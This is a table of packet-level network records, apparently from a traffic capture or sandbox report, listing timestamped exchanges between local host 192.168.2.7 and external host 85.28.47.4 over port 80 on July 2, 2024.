Jul 2, 2024 12:21:06.217861891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217864990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217873096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217881918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217883110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217892885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217896938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217901945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217914104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217937946 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218095064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218111038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218121052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218130112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218139887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218144894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218149900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218161106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218169928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218169928 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218180895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218187094 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218203068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218225956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218226910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218236923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218246937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218265057 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218288898 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218348026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218358040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218369007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218378067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218385935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218413115 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218486071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218498945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218508959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218524933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218530893 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218534946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218545914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218554974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.218558073 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218574047 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.218589067 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219018936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219038010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219048023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219069958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219093084 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219192028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219208956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219218969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219233990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219261885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219293118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219304085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219336987 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219402075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219412088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219430923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219430923 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219440937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219459057 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219485044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219491959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219502926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219522953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219540119 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219563961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219573975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219585896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219604015 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219630957 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219660044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219671011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219680071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.219698906 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.219724894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.332411051 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.337271929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.510955095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.510977983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.510988951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511014938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511019945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511038065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511044979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511059046 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.511143923 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.511224985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511230946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511369944 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.511390924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511395931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511409998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511413097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511424065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511429071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511440039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511451960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.511451960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.511467934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511548042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.511631012 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511636019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511646032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511656046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511662006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511672020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511677027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511682034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511692047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511693001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.511693001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.511698008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511708975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511724949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.511914968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511925936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511930943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.511934996 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.511976957 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.511976957 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.512017965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512031078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512042046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512052059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512062073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512068033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512077093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512082100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512088060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512089014 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.512371063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.512501955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512510061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512520075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512525082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512530088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512540102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512545109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512550116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512553930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.512554884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512562037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512572050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512577057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512578964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.512583017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512615919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.512615919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.512784004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.512969017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512974977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512984991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512990952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.512995958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.513006926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.513011932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.513021946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.513026953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.513037920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.513041019 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.513042927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.513055086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.513062954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.513062954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.513098001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.513098001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.513271093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.513278961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.513396978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.592613935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592650890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592663050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592725039 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.592734098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592739105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592751026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592756987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592792988 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.592825890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592864037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592874050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592936993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.592967987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592973948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592984915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.592989922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593043089 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.593043089 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.593127012 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593132019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593188047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593193054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593204021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593209028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593209982 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.593219042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593233109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593249083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.593249083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.593354940 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.593527079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593532085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593543053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593549013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593554020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593559027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593564034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593594074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593599081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593602896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593604088 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.593604088 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.593609095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593620062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593626022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593657017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.593672037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.593672037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.593964100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593975067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593986034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593991041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.593996048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.594130993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.594265938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.594276905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.594281912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.594285965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.594286919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.594293118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.594297886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.594312906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.594319105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.594332933 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.594332933 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.594686031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.599617958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.599622965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.599634886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.599716902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.599723101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.599734068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.599745035 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.599777937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.599919081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.599930048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.599936008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.599992037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.599997044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600008011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600008011 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.600013018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600018978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600056887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.600056887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.600188017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600269079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600274086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600286007 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.600310087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600316048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600327015 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.600415945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600426912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600431919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600436926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600436926 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.600442886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600461006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.600591898 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600598097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600615978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.600754023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.600755930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600761890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600773096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600778103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600789070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600794077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600804090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600810051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600820065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.600831032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.600831032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.600863934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.600863934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.601047039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601052046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601062059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601067066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601138115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601142883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601145029 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.601149082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601154089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601159096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601164103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601169109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601169109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.601182938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601192951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601202965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.601551056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601562977 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.601676941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601681948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601692915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601696968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601702929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601712942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601717949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601727962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601733923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601748943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.601804018 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.601846933 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.601887941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601893902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601905107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.601910114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.602247953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.680821896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.680835009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.680840969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.680871964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.680877924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.680888891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.680903912 CEST	49699	80	192.168.2.7	85.28.47.4
